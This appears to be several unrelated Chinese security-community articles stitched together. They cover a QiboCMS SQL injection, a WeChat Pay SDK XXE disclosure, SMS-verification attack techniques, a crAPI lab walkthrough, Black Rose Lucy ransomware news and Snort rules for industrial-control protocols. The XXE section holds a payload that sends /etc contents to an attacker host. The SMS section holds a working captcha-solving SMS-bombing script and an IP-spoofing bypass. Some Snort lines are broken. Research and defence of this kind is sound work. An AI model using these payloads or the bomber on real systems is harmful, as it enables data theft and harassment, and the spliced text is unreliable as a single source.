今天看到一篇文章分析齐博CMS注入的文章：[齐博CMS激活验证处SQL注入](http://www.gzsec.org/?p=485)
，得空分析了一下，总体感觉漏洞利用比较鸡肋。
## 漏洞分析
实际上齐博CMS是有对变量进行过滤的，但是本次注入点就是利用程序自带的编码，使得这些过滤形同虚设。
注入点在 **inc/class.user.php** 文件中的 **get_passport** 方法，可以清晰的看到SQL语句进行了变量拼接。
同个文件的 **get_allInfo** 方法调用了 **get_passport** 。
变量加密处的位置在 **do/activate.php** 文件，代码如下：
可以看到上图 **第7行** 代码，将经过 **mymd5** 函数解密后的数据直接赋值给 **$username** 和 **$password**
两个变量，并带入数据库查询。解密后的数据没有经过处理，这是导致发生SQL注入的关键。我们可以看看 **mymd5** 函数的代码。
可以看到这个函数包含了加密与解密。然而要想利用这个注入点，我们需要知道 **$webdb[mymd5]**
的值，而这个变量的值在每个网站搭建时会有一个初始值，且都不一样，这也是这个漏洞的鸡肋之处。我们可以登录后台查看到该变量对应的值。
## 漏洞利用
要想利用这个漏洞，我们只需要知道 **$webdb[mymd5]** 的值，并将相关函数抽取出来，加密我们的 **payload** 即可。具体如下：
然后利用生成的加密字符串构造如下payload，即可成功注入SQL语句：
## 结语
后面想试试通过前台获取 **$webdb[mymd5]** 的值，或者说控制该值，发现都不是很容易，于是作罢。 | 社区文章 |
漏洞信息来源：
<http://seclists.org/fulldisclosure/2018/Jul/3>
> **受影响版本：**
> JAVA SDK，WxPayAPI_JAVA_v3，建议使用了该版本的公司 **进行异常支付排查** 。
微信在JAVA版本的SDK中提供callback回调功能，用来帮助商家接收异步付款结果，该接口接受XML格式的数据，攻击者可以构造恶意的回调数据（XML格式）来窃取商家服务器上的任何信息。一旦攻击者获得了关键支付的安全密钥（md5-key和商家信息，将可以直接实现0元支付购买任何商品）
### 漏洞详情
The SDK in this page: https://pay.weixin.qq.com/wiki/doc/api/jsapi.php
chapter=11_1
Just in java vision:
https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip
or
https://drive.google.com/file/d/1AoxfkxD7Kokl0uqILaqTnGAXSUR1o6ud/view(
Backup ）
README.md in WxPayApi_JAVA_v3.zip,it show more details:
notify code example:
[
String notifyData = "....";
MyConfig config = new MyConfig();
WXPay wxpay = new WXPay(config);
//conver to map
Map<String, String> notifyMap = WXPayUtil.xmlToMap(notifyData);
if (wxpay.isPayResultNotifySignatureValid(notifyMap)) {
//do business logic
}
else {
}
]
WXPayUtil source code
[
public static Map<String, String> xmlToMap(String strXML) throws
Exception {
try {
Map<String, String> data = new HashMap<String, String>();
/*** not disabled xxe *****/
//start parse
DocumentBuilderFactory documentBuilderFactory =
DocumentBuilderFactory.newInstance();
DocumentBuilder documentBuilder =
documentBuilderFactory.newDocumentBuilder();
InputStream stream = new ByteArrayInputStream(strXML.getBytes(
"UTF-8"));
org.w3c.dom.Document doc = documentBuilder.parse(stream);
//end parse
doc.getDocumentElement().normalize();
NodeList nodeList = doc.getDocumentElement().getChildNodes();
for (int idx = 0; idx < nodeList.getLength(); ++idx) {
Node node = nodeList.item(idx);
if (node.getNodeType() == Node.ELEMENT_NODE) {
org.w3c.dom.Element element = (org.w3c.dom.Element) node
;
data.put(element.getNodeName(), element.getTextContent
());
}
}
try {
stream.close();
} catch (Exception ex) {
// do nothing
}
return data;
} catch (Exception ex) {
WXPayUtil.getLogger().warn("Invalid XML, can not convert to
map. Error message: {}. XML content: {}", ex.getMessage(), strXML);
throw ex;
}
}
]
### 利用细节
Post merchant notification url with payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % attack SYSTEM "file:///etc/">
<!ENTITY % xxe SYSTEM "http://attacker:8080/shell/data.dtd";>
%xxe;
]>
data.dtd:
<!ENTITY % shell "<!ENTITY % upload SYSTEM 'ftp://attack:33/%attack;
'>">
%shell;
%upload;
or use XXEinjector tool 【https://github.com/enjoiz/XXEinjector】
ruby XXEinjector.rb --host=attacker --path=/etc --file=req.txt --ssl
req.txt :
POST merchant_notification_url HTTP/1.1
Host: merchant_notification_url_host
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 57
Content-Type: application/x-www-form-urlencoded
XXEINJECT
In order to prove this, I got 2 chinese famous company:
a、momo: Well-known chat tools like WeChat
b、vivo ：China's famous mobile phone,that also famous in my country | 社区文章 |
## **前言**
在日常的授权测试中，很大一部分只有一个登录界面，在这个登录界面其实可以测试的东西有很多，比如用户名枚举，弱密码，验证码，找回密码等等一系列问题。现在的网站为了更好的用户体验，免去大家登录网站都要注册的问题，通常都采用了发送短信验证码的方式来登录，一方面是便捷，另一方面也算是采用的动态密码，安全性比较高，那随之而来的验证码的安全性问题也就显现出来了。
## **一 短信轰炸漏洞**
短信轰炸问题其实是最容易想到的，当然对于短信的轰炸问题，还要分几类情况看待
## **1.1 无任何限制的短信轰炸**
这种应该是在短信轰炸中最简单粗暴的一种方式吧，没有任何限制只需要通过burpsuite去重放数据包即可，然后就可以达到消耗目标网站的短信数量以及对手机号码拥有者造成困扰
## **1.2 有验证码的短信轰炸**
这个相对于无任何限制的短信轰炸是做了限制的，加上了验证码。如果验证码可以重放的话那还是可以归类到无任何限制的短信轰炸中。如果验证码不能重放并且也不能通过手段提前预知，我最常采用的方法便是python的selenium模块配合验证码识别工具去模拟浏览器请求登录，这种方式不用考虑复杂的交互情况，完全交给浏览器去实现，准确度取决于你验证码识别工具的准确度。网上有很多识图工具，比如各大厂商的OCR等等，或者是github上各位大佬的基于机器学习的验证码识别工具等等
import requests
import time
import hashlib
from selenium import webdriver
from PIL import Image
from bs4 import BeautifulSoup
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0",
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"X-Forwarded-For": "137.0.0.2",
"Content-Type": "application/json;charset=utf-8"
}
proxies = {
"http": "http://127.0.0.1:8080",
"https": "https://127.0.0.1:8080"
}
def yanzhengma():
url = 'http://127.0.0.1:7779'
files = open("E:/img/t1.png", 'rb')
r = requests.post(url, proxies=proxies, data=files)
return r.text
def sendPhone(brower, ph):
brower.get('https://xxx.xxx.xxx')
phone = brower.find_element_by_xpath("//*[@id=\"mobile\"]")
phone.send_keys(ph)
path = 'E://img//t.png'
imgpath = 'E:/img/t1.png'
brower.get_screenshot_as_file(path)
im = Image.open(path)
box = (1157,320,1274,380)
region = im.crop(box)
region.save(imgpath)
submit = brower.find_element_by_xpath("//*[@id=\"sendSms\"]")
image = brower.find_element_by_xpath("//*[@id=\"verifyCode\"]")
yzm = yanzhengma()
image.send_keys(yzm)
submit.click()
time.sleep(5)
def main():
brower = webdriver.Chrome()
for i in range(0,10):
sendPhone(brower, "11111111111")
if __name__ == '__main__':
main()
先通过屏幕截屏获取整个图片，然后再去截取验证码，最后通过验证码识别器识别出验证码后发送到浏览器触发短信轰炸漏洞，该漏洞的危害性主要取决于验证码识别的难易程度以及对发送短信次数的限制。现在基本主流的网站在手机验证码的时候必须要进行一步验证，最主要的是验证码验证，当然现在还有滑块验证之类的。有兴趣的可以去尝试通过模拟浏览器登录破解滑块验证码。
## **1.3 特殊字符的填充**
这种问题应该算是对限制手机发送短信的一种绕过方式，他的逻辑应该是这样的，用户输入手机号——>后端判断该手机号是否在30秒或者60秒内请求过——>如果没有，判断发送过来的手机号是够是11位的纯数字，如果不是，去掉非数字字符——>和数据库中的手机号比对，是否存在于数据库中，如果存在那么向该手机发送验证码。
看到这个逻辑你想到了啥，如果我们一开始输入的是11111111111这个号码，下次你空格+11111111111岂不是就同样给11111111111发送验证码，在下次加两个空格或者别的字符
## **1.4 短信发送间隔太短**
有的网站设定的短信发送间隔是30秒，时间间隔太短，可以找一批手机号，控制请求间隔，保证每个手机号两个发送间隔大于30秒即可，同样可以造成短信轰炸漏洞
## **1.5 ip限制绕过**
该漏洞的主要原因是限制的是IP并不是手机号，简单粗暴的方式增加代理池再去爆破，但这样成本太高，那这个漏洞的危害性就比较小了。那么如果服务端对于IP的校验可以在前端进行伪造绕过IP限制那这个危害相对来说就比较大了。
这里推荐一个IP伪造的burpsuite插件 <https://github.com/TheKingOfDuck/BurpFakeIP/>
http协议中的IP伪造不同于TCP/IP协议，在实现正常的TCP/IP 双方通信情况下，是无法伪造来源 IP 的，也就是说，在 TCP/IP
协议中，可以伪造数据包来源IP，但这会让发送出去的数据包有去无回，无法实现正常的通信。
HTTP
是一个应用层协议，基于请求/响应模型。客户端（往往是浏览器）请求与服务器端响应一一对应。服务器的响应格式也是类似的由响应头信息和响应正文构成。如果服务器通过request中的
x-forwarded-for 和 client-ip 等来获取客户端的ip，那么客户端可以伪造 Client-Ip, X-Forward-For等内容欺骗程序，达到"伪造IP"的目的。
## **1.6 图片验证码可置为空**
如果你前端不传递验证码的话后端即不验证验证码，删除验证码即可触发短信炸弹漏洞，其实还有删除cookie等操作。不光出现在短信轰炸处，比如找回密码处等同样存在这样的问题
形如
[https://xxx.xxx.xxx/login.php?action=send&mobile=11111111111&send_code=undefined](https://xxx.xxx.xxx/login.php?action=send&mobile=11111111111&send_code=undefined)
## **二 验证码可以枚举**
这也是个老生长谈的问题，主要是因为验证码是4位或者5位的数字验证码，并且验证码的过期时间很长造成的。尤其是4位数字验证码，只要枚举一万次即可枚举出正确的验证码，对于burpsuite来说，在没有限制的情况下请求1万次的
时间应该在10分钟以内
## **三 手机号码可以篡改**
篡改接收验证码的手机号，如果验证码没有和手机绑定就可以进行一系列高危操作，比如登录账号，任意更改密码呀。举个例子，在找回密码处在给手机发送验证码时，会在请求包中出现手机号码，可以篡改手机号码，但是系统默认还是在找回密码第一步中输入的用户名，这样就可以劫持验证码，达到重置密码的效果。
有的确定可以通过更改手机号来获取验证码，但是无法通过校验，同样可以探测是否存在任意手机号触发短信轰炸的漏洞
## **四 自定义验证码内容**
举一个抖音海外版的例子，其他漏洞相关内容可以参照(<https://www.freebuf.com/vuls/224963.html>)
在TikTok的主要网站有一项功能可以让用户向自己发送SMS短信以下载该应用程序，DOWNLOAD_URL参数是会出现在SMS短信中的下载链接，所以只要篡改该参数即可实现篡改下载链接来进行钓鱼诈骗等相关活动
看一下手机接收到的信息
## **五 验证码客户端绕过**
这种也很常见，你点击发送验证码，然后随便输入验证码，然后更改返回包中的相关值即可实现验证码绕过，但经过这些年的洗礼，这种漏洞已经很少了，至少大厂应该大部分是不存在这种漏洞的
只需要把状态码改为0即可实现绕过
## **总结**
短信验证码的安全性随着手机登录的普及变得越来越重要，对于短息验证码问题，列举几个通用的解决方法:
不要把验证方式置于前端，手机号和短信验证码在服务器进行唯一性绑定验证。
在服务端限制短信验证码发送周期，设置时效性，限制发送次数。
封禁的应该是恶意请求的手机号而不是IP地址，对一天内每一个手机号获得的验证码次数进行限制。
手机验证码生成6位或者以上的数字+字母组合的验证码，并且保证用后即失效
禁止用户自定义短信内容 | 社区文章 |
# 1.概述
本文主要介绍api安全漏洞相关基础知识介绍和后七题的解题过程。
crapi是一个供车主注册和管理车辆的平台，是一个易受攻击的应用程序，crapi是一个用于学习和实践api安全性的api漏洞的集合。在这里可以遇到api安全的应用程序中的常见漏洞，基本包括[OWASP
API TOP 10](https://owasp.org/www-project-api-security/ "OWASP API TOP
10")的漏洞。比如失效的对象级别授权漏洞，失效的用户身份验证漏洞，过多的数据暴露漏洞，速率限制漏洞，失效的功能级别授权，批量分配，SSRF，注入以及未经身份验证的访问漏洞。
GitHub地址：<https://github.com/OWASP/crAPI>
# 2\. API靶场crapi
## 2.1 环境搭建
环境搭建以及前七题的解题思路可以参考第一篇文章：<https://xz.aliyun.com/t/11734>
## 2.2 解题
解题提示文档：<https://github.com/OWASP/crAPI/blob/develop/docs/challenges.md>
### 2.2.1 批量分配
将客户端提供的数据（例如 JSON）绑定到数据模型，而无需基于白名单进行适当的属性筛选，通常会导致批量分配。无论是猜测对象属性、探索其他 API
端点、阅读文档或在请求负载中提供其他对象属性，攻击者都可以修改它们不被允许修改的对象属性。
Challenge 8 - Get an item for free
挑战 8 - 免费获得一件物品
通过返回发现商品的几种状态
修改订单编号，改为运输中即可
Challenge 9 Increase your balance by $1,000 or more -
挑战 9 将您的余额增加 1,000 美元或更多 -
将数量改为90
这样可以增加自己的余额。
Challenge 10 - Update internal video properties
挑战 10 - 更新内部视频属性
根据第五题的api 更改属性
### 2.2.2 SSRF
SSRF 漏洞使攻击者可以从易受攻击的应用程序的后端服务器发送精心设计的请求。犯罪分子通常使用 SSRF
攻击来针对位于防火墙后面且无法从外部网络访问的内部系统。攻击者还可以利用 SSRF 访问通过被利用服务器的环回接口 (127.0.0.1) 提供的服务。
当攻击者完全或部分控制 Web 应用程序发送的请求时，就会出现 SSRF 漏洞。
成功的 SSRF
攻击通常会导致未经授权的操作或访问组织内的数据，无论是在易受攻击的应用程序本身还是在应用程序可以与之通信的其他后端系统中。在某些情况下，SSRF
漏洞可能允许攻击者执行任意命令执行。
Challenge 11 - Make crAPI send an HTTP call to "www.google.com" and return the
HTTP response.
挑战 11 - 让 crAPI 向“www.google.com”发送 HTTP 调用并返回 HTTP 响应。
修改数据包为www.baidu.com 返回响应
### 2.2.3 注入
与关系数据库不同，NoSQL 数据库不使用通用查询语言。NoSQL
查询语法是特定于产品的，查询是使用应用程序的编程语言编写的：PHP，JavaScript，Python，Java
等。这意味着成功的注入使攻击者不仅可以在数据库中执行命令，而且可以在应用程序本身中执行命令，这可能更加危险。
以下是 OWASP 对于 Nosql 注入的介绍：
NoSQL databases provide looser consistency restrictions than traditional SQL
databases. By requiring fewer relational constraints and consistency checks,
NoSQL databases often offer performance and scaling benefits. Yet these
databases are still potentially vulnerable to injection attacks, even if they
aren’t using the traditional SQL syntax. Because these NoSQL injection attacks
may execute within a procedural language, rather than in the declarative SQL
language, the potential impacts are greater than traditional SQL injection.
NoSQL database calls are written in the application’s programming language, a
custom API call, or formatted according to a common convention (such as XML,
JSON, LINQ, etc). Malicious input targeting those specifications may not
trigger the primarily application sanitization checks. For example, filtering
out common HTML special characters such as < > & ; will not prevent attacks
against a JSON API, where special characters include / { } :.
Challenge 12 - Find a way to get free coupons without knowing the coupon code.
挑战 12 - 想办法在不知道优惠券代码的情况下获得免费优惠券。
想办法在不知道优惠券代码的情况下获得免费优惠券。
首先获取提交优惠券的流量包
利用burp的暴力破解功能进行爆破攻击
结束发现返回的状态码全都是500
仔细查看请求数据包发现问题为URL编码
将payloads最下面的Payload Encoding打钩
再次进行爆破尝试发现部分返回422
查看返回包发现提示为无效字符，
将最开始的流量包的引号删除
再次尝试攻击
成功
返回burp进行重放测试
完成！
SQL注入
通过修改数据库找到兑换您已领取的优惠券的方法
确定存在注入的api如下图所示
经过一番尝试没有发现可以注入的地方，疑惑了一会开始查找问题出在了哪里
发现了最新版本v1.1.2的更新时间为5月27号
查看提交日期发现SQL注入的相关内容是在八月二号
也就是说虽然源码提交了SQL注入的相关内容，但是最新版并没有更新这一点，这也就是为什么虽然找到了注入点但是怎么尝试都注入不成功的原因
### 2.2.4 未经身份验证的访问
Challenge 14 - Find an endpoint that does not perform authentication checks
for a user.
挑战 14 - 查找不对用户执行身份验证检查的端点。
查找不对用户执行身份验证检查的端点。
修改任意都可以发送成功
### 2.2.5 两个秘密挑战
在解题帮助文档的最后作者提示有两个秘密挑战
我在解题过程中发现存在JWT，记录如下
JWT是JSON web
Token的缩写，它是为了在网络应用环境间传递声明而执行的一种基于JSON的开放式标准，该token被设计为紧凑且安全的，特别适用于分布式站点的单点登录(场景。JWT的声明一般被用在身份提供者和服务提供者间传递被认证的用户身份信息，以便于从资源服务器获取资源，也可以增加一些额外的业务逻辑所必须声明信息，该token也可被直接用于认证，也可用作加密。
将数据包中的 Authorization 复制到<https://jwt.io/> 的编码框中
使用工具JWT_Tool进行攻击
经过多次尝试发现 crapi 是正确的
返回到JWT的编码框中，将crapi填入。
将重新获取到的Authorization 替换到数据包中进行重放测试。
成功！！！ | 社区文章 |
# 恶意软件僵尸网络“黑色玫瑰Lucy”带着勒索软件功能卷土重来
|
##### 译文声明
本文是翻译文章，文章原作者 David Bisson ，文章来源：https://securityintelligence.com/
原文地址：<https://securityintelligence.com/news/black-rose-lucy-malware-botnet-returns-with-ransomware-capabilities/>
译文仅供参考，具体内容表达以及含义原文为准。
据安全研究人员称，“黑玫瑰Lucy”恶意软件僵尸网络已将勒索软件功能纳入其攻击工具包。
就在前不久，一名Android恶意软件研究人员通过推文曝光了一个名叫“黑色玫瑰Lucy”的恶意软件僵尸网络。而根据CheckPoint的最新研究，最新版本的恶意软件僵尸网络“黑色玫瑰Lucy”带着勒索软件功能卷土重来了。在此之后，CheckPoint安全公司便立刻收集到了一些该恶意软件的样本，并发现该恶意软件现在会伪装成视频播放器等多媒体类应用程序来感染用户。在这种伪装的外壳之下，恶意软件将会试图引诱目标用户启用辅助性服务（Accessibility
Services）以尽可能减少安装勒索软件Payload时所需要的用户交互。除此之外，恶意软件还使用了两个命令来让目标设备保持屏幕常亮以及WiFi连接。
当该恶意软件与其四台命令控制（C&C）服务器之一成功建立连接之后，恶意软件将会接收到一个名叫“Key”的响应字符串。接下来，恶意软件将会是哟ing一个服务来获取受感染设备的目录数组。通过利用这些信息，“黑色玫瑰Lucy”将会对数组中存储的所有文件及目录进行加密，并同时将勒索信息显示给目标用户，而且攻击者竟然还将显示的勒索信息伪装成了来自美国联邦调查局（FBI）的通知。这条信息将告知目标用户，执法人员在其设备上发现了色情内容，并要求目标用户支付500美元的罚款，以便调查人员撤销对他们的调查，或者是减轻其罪行。
## 黑色玫瑰Lucy
恶意软件“黑色玫瑰Lucy”早在2018年被CheckPoint安全公司的研究人员发现时，并没有嵌入有勒索软件的功能。
当时，这个勒索软件及服务（MaaS）僵尸网络依赖于两个组件来实现其而已功能。Lucy加载器即是其第一个组件，它可以作为远程控制仪表盘来将受感染设备合并到僵尸网络中，并在目标设备上安装其他的恶意软件Payload。而第二个元素就是“黑色玫瑰Lucy”的Dropper针对的是Android设备，它可以收集目标Android设备的信息，并通过从僵尸网络的命令控制服务器接收二级恶意软件来进一步感染目标设备。
## 如何保护企业免受“黑色玫瑰Lucy”的感染
安全专业人员可以利用强大的安全策略来强制实施移动安全最佳实践方案，从而帮助各子企业和组织抵御恶意软件“黑色玫瑰Lucy”的攻击。这些指导原则应该包括限制员工可以在其工作设备上安装应用程序的位置和开发人员的类型等。此外，信息安全人员可以考虑使用由人工智能（AI）驱动的工具来辅助应付复杂的威胁。 | 社区文章 |
# Snort入侵检测系统的应用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
随着工业信息化建设不断发展及“中国制造2025”等国家战略的推出，以及云计算、大数据、人工智能、物联网等新一代信息技术与制造技术的加速融合，工业控制系统由从原始的封闭独立走向开放、由单机走向互联、由自动化走向智能化。因此，工业控制网络面临的传统安全威胁和工控网络特有安全威胁也在不断增加。
工业控制网络互连程度的大大提升使传统安全威胁可以渗透到工业控制网络中，原本封闭的工业控制网络早期并没有考虑相应其安全问题，在数据窃取、身份认证、无线连接、安全追溯等多方面都存在严重的安全风险。同时由于国内外各厂商及协会公布了大量有关工控协议的标准和实现细节，因此攻击者可以通过深入挖掘工业标准的漏洞，并借此展开针对特定工业协议发起专用的攻击。
由此可见，工业控制网络目前存在极大的安全隐患，提供全面、纵深的安全防御策略进行有效的保护迫在眉睫。而边界安全防护便是首当其冲的重要关键环节，工业防火墙自然也就成为了工业控制网络边界安全建设的首选安全设备。
利用工业防火墙隔离OT网内各安全区域，全面提升工控网络的安全性，可有效降低网络被入侵，有效防止安全威胁迁移扩散，可有效解决工业系统间因缺少隔离引起的安全问题，如因配置错误、硬件故障、病毒等引发的安全威胁。因此，本文将介绍PfSense防火墙的基本概念、功能特点以及应用场景等。
## 基本概念
PfSense是一个基于FreeBSD，专为防火墙和路由器功能定制的开源版本。它被安装在计算机上作为网络中的防火墙和路由器存在，并以可靠性著称，且提供往往只存在于昂贵商业防火墙才具有的特性。它可以通过WEB页面进行配置，升级和管理而不需要使用者具备FreeBSD底层知识。pfSense通常被部署作为边界防火墙、路由器、无线接入点、DHCP服务器、DNS服务器和VPN端点。
## 功能特点
* 基于稳定可靠的FreeBSD操作系统，能适应全天候运行的要求。
* 具有用户认证功能，使用Web网页的认证方式，配合RADIUS可以实现记费功能。
* 完善的防火墙，流量控制和数据包过滤功能，保证了网络的安全，稳定和高速运行。
* 支持多条WAN线路和负载均衡功能，可大幅度提高网络出口带宽，在带宽拥塞时自动分配负载。
* 内置了Ipsec和PPTP VPN功能，实现不同分支机构的远程互联或远程用户安全地访问内部网。
* 支持802.1Q VLAN标准，可以通过软件模拟的方式使得普通的网卡能识别802.1Q的标记，同时为多个VLAN的用户提供服务。
* 支持使用额外的软件包来扩展pfSense功能，为用户提供更多的功能(如FTP和透明代理)。
* 详细的日志功能，方便用户对网络出现的事件分析，统计和处理。
* 使用Web管理界面进行配置(支持SSL)，支持远程管理和软件版本自动在线升级。
## 应用场景
1、部署于隔离管理网与控制网之间
工业防火墙控制跨层访问并深度过滤层级间的数据交换，阻止攻击者基于管理网向控制网发起攻击。
2、部署于控制网的不同安全区域间
工业防火墙可将控制网分成不同的安全区域，控制安全区域之间的访问，并深度过滤各区域间的流量数据，以阻止区域间安全风险的扩散。
3、部署于关键设备与控制网之间
工业防火墙检测访问关键设备的IP，阻止非业务端口的访问与非法操作指令，记录关键设备的所有访问与操作记录，实现对关键设备的安全防护与流量审计。
## 部署过程
1、下载PsSense开源防火墙
2、使用虚拟机安装PfSense开源防火墙
默认用户名密码：admin/pfsense
安装方法可参考：<https://www.jianshu.com/p/b6f4290a88fa>
3、防火墙默认为英文版，如果需要设置简体中文，请按照以下步骤进行。
4、安装Snort插件
Snort入侵检测系统详细参考：[https://www.cnblogs.com/HacTF/p/7992787.html](https://links.jianshu.com/go?to=https%3A%2F%2Fwww.cnblogs.com%2FHacTF%2Fp%2F7992787.html)
5、Xp环境中开启Modbus协议仿真软件
6、在PfSense中配置防火墙策略
添加网络接口并配置防火策略
策略注释：IP：10.211.55.3的任意端口连接192.168.163.137的502端口都会报警“有人异常连接Modbus设备”，并设置该报警事件id为12345。
保存设置，启用防火策略。
在Win7（IP:10.211.55.3）中使用Modbusscan软件连接Modbus仿真器。
从PfSense防火墙中可以看见报警信息。
针对更多协议的详细检测规则，请参考：
[http://plcscan.org/blog/2015/10/ids-rules-for-scada-systems/](https://links.jianshu.com/go?to=http%3A%2F%2Fplcscan.org%2Fblog%2F2015%2F10%2Fids-rules-for-scada-systems%2F)
#
#
# $Id: myicsrules.rules,v 0.1,
#---------- # myicsrules RULES
# ICS protocal/ICS Software communication identification/Filter
# Siemens S7 TCP 102
# Modbus TCP 502
#
#
#
#
#
#---------- # Siemens S7 Filter rules
#---------- #设置S7 PLC内部时钟的时间
alert tcp any any -> any 102 (msg:"Request Time functions Set clock";content:"|03 00|";offset:0;depth:2;content:"|32 07 00|";offset:7;depth:3;content:"|00 01 12 04 11 47 02 00|";offset:17;depth:8;sid:8999907;)
#设置与S7 PLC会话的密码
alert tcp any any -> any 102 (msg:"Request Security functions Set PLC session password";content:"|03 00|";offset:0;depth:2;content:"|00 01 12 04 11 45 01 00|";offset:17;depth:8;sid:8999908;)
#设置S7 PLC的CPU到STOP状态
alert tcp any any -> any 102 (msg:"Request CPU functions Set PLC CPU STOP";content:"|29 00 00 00 00 00 09 50 5f 50 52 4f 47 52 41 4d|";sid:8999909;)
#暖启动S7 PLC的CPU到RUN状态
alert tcp any any -> any 102 (msg:"Request CPU functions Set PLC CPU Hot Restart";content:"|28 00 00 00 00 00 00 fd 00 00 09 50 5f 50 52 4f|";sid:8999910;)
#冷启动S7 PLC的CPU到RUN状态
alert tcp any any -> any 102 (msg:"Request CPU functions Set PLC CPU Cold Restart";content:"|28 00 00 00 00 00 00 fd 00 02 43 20 09 50 5f 50 52 4f 47 52 41 4d|";sid:8999911;)
#正在写S7 PLC内部的内存变量
alert tcp any any -> any 102 (msg:"Write Var";content:"|03 00|";offset:0;depth:2;content:"|32 01|";offset:7;depth:2;content:"|05|";offset:17;depth:1;sid:8999912;)
#正在请求下载程序块
alert tcp any any -> any 102 (msg:"Request download";content:"|03 00|";offset:0;depth:2;content:"|32 01|";offset:7;depth:2;content:"|1a|";offset:17;depth:1;sid:8999913;)
#开始请求下载程序块
alert tcp any any -> any 102 (msg:"Download block";content:"|03 00|";offset:0;depth:2;content:"|32 01|";offset:7;depth:2;content:"|1b|";offset:17;depth:1;sid:8999914;)
#程序块下载结束
alert tcp any any -> any 102 (msg:"Download ended";content:"|03 00|";offset:0;depth:2;content:"|32 01|";offset:7;depth:2;content:"|1c|";offset:17;depth:1;sid:8999915;)
#正在请求上载程序块
alert tcp any any -> any 102 (msg:"Start upload";content:"|03 00|";offset:0;depth:2;content:"|32 01|";offset:7;depth:2;content:"|1d|";offset:17;depth:1;sid:8999916;)
#开始上载程序块
alert tcp any any -> any 102 (msg:"Upload";content:"|03 00|";offset:0;depth:2;content:"|32 01|";offset:7;depth:2;content:"|1e|";offset:17;depth:1;sid:8999917;)
#结束上载程序块
alert tcp any any -> any 102 (msg:"End upload";content:"|03 00|";offset:0;depth:2;content:"|32 01|";offset:7;depth:2;content:"|1f|";offset:17;depth:1;sid:8999918;)
#删除S7 PLC内部程序块操作
alert tcp any any -> any 102 (msg:"Delet block";content:"|03 00|";offset:0;depth:2content:"|05 5f 44 45 4c 45|";sid:8999919;)
#
#---------- # Modbus Filter rules
#---------- #正在写单线圈寄存器
alert tcp any any -> any 502 (msg:"Modbus TCP/Write Single Coil";content:"|00 00|";offset:2; depth:2; content:"|05|";offset:7;depth:1;sid:8999100;)
#正在写单个保持寄存器
alert tcp any any -> any 502 (msg:"Modbus TCP/Write Single Register";content:"|00 00|";offset:2; depth:2; content:"|06|";offset:7;depth:1;sid:8999101;)
#正在读从站状态
alert tcp any any -> any 502 (msg:"Modbus TCP/Read Exception Status";content:"|00 00|";offset:2; depth:2; content:"|07|";offset:7;depth:1;sid:8999102;)
#诊断设备命令
alert tcp any any -> any 502 (msg:"Modbus TCP/Diagnostics Device";content:"|00 00|";offset:2; depth:2; content:"|08|";offset:7;depth:1;sid:8999103;)
#正在写多个线圈寄存器
alert tcp any any -> any 502 (msg:"Modbus TCP/Write Multiple Coils";content:"|00 00|";offset:2; depth:2; content:"|0f|";offset:7;depth:1;sid:8999104;)
#正在写多个保持寄存器
alert tcp any any -> any 502 (msg:"Modbus TCP/Write Multiple registers";content:"|00 00|";offset:2; depth:2; content:"|10|";offset:7;depth:1;sid:8999105;)
#正在写文件参数
alert tcp any any -> any 502 (msg:"Modbus TCP/Write File Record";content:"|00 00|";offset:2; depth:2; content:"|15|";offset:7;depth:1;sid:8999106;)
#屏蔽写寄存器
alert tcp any any -> any 502 (msg:"Modbus TCP/Mask Write Register";content:"|00 00|";offset:2; depth:2; content:"|16|";offset:7;depth:1;sid:8999107;)
#读写多个寄存器
lert tcp any any -> any 502 (msg:"Modbus TCP/Read/Write Multiple registers";content:"|00 00|";offset:2; depth:2; content:"|17|";offset:7;depth:1;sid:8999108;)
#正在枚举设备信息
alert tcp any any -> any 502 (msg:"Modbus TCP/Read Device Identification";content:"|00 00|";offset:2; depth:2; content:"|2B|";offset:7;depth:1;sid:8999109;)
#正在枚举施耐德昆腾PLC的内存串号
alert tcp any any -> any 502 (msg:"Schneider PLC(Quantumn) uses function code 90 for communications the Unity pro software Request Memory Card ID";content:"|00 00|";offset:2;depth:2;content:"|5a|";offset:7;depth:1;content:"|00 06 06|";offset:8;depth:3;sid:8999110;)
#正在枚举施耐德昆腾PLC的CPU模块信息
alert tcp any any -> any 502 (msg:"Schneider PLC(Quantumn) uses function code 90 for communications the Unity pro software Request CPU Module info";content:"|00 00|";offset:2;depth:2;content:"|5a|";offset:7;depth:1;content:"|00 02|";offset:8;depth:2;dsize:10;sid:8999111;)
#正在枚举施耐德昆腾PLC内部的工程名称
alert tcp any any -> any 502 (msg:"Schneider PLC(Quantumn) uses function code 90 for communications the Unity pro software Request Project Project file name";content:"|00 00|";offset:2;depth:2;content:"|5a|";offset:7;depth:1;content:"|f6 00|";offset:17;depth:2;sid:8999112;)
#正在枚举施耐德昆腾PLC内部的工程上次修改时间
alert tcp any any -> any 502 (msg:"Schneider PLC(Quantumn) uses function code 90 for communications the Unity pro software Request Project Information(Revision and Last Modified)";content:"|00 00|";offset:2;depth:2;content:"|5a|";offset:7;depth:1;content:"|03 00|";offset:17;depth:2;sid:8999113;)
#正在将施耐德昆腾PLC的CPU设置到STOP状态
alert tcp any any -> any 502 (msg:"Schneider PLC(Quantumn) uses function code 90 for communications the Unity pro software Set PLC CPU STOP";content:"|00 00|";offset:2;depth:2;content:"|5a|";offset:7;depth:1;content:"|40|";offset:9;depth:1;sid:8999114;)
#正在将施耐德昆腾PLC的CPU设置到RUN状态
alert tcp any any -> any 502 (msg:"Schneider PLC(Quantumn) uses function code 90 for communications the Unity pro software Set PLC CPU Restart";content:"|00 00|";offset:2;depth:2;content:"|5a|";offset:7;depth:1;content:"|41|";offset:9;depth:1;sid:8999115;)
下面举例说明（以写单线圈寄存器为例）
alert tcp any any -> any 502 (msg:"Modbus TCP/Write Single Coil";content:"|00 00|";offset:2; depth:2; content:"|05|";offset:7;depth:1;sid:8999100;)
其中content:”|05|”表示功能码为05
在Win7中连接Modbus协议仿真器并进行写线圈操作。
查看防火墙报警信息。
## 总结
伴随着工业互联网的蓬勃发展，IT和OT的融合不断深入，工业网络所面临的安全威胁与日俱增。而解决工业网络面临的诸多安全问题，提供从网络边界、区域到设备终端的完整防护体系也是企业所必需的。
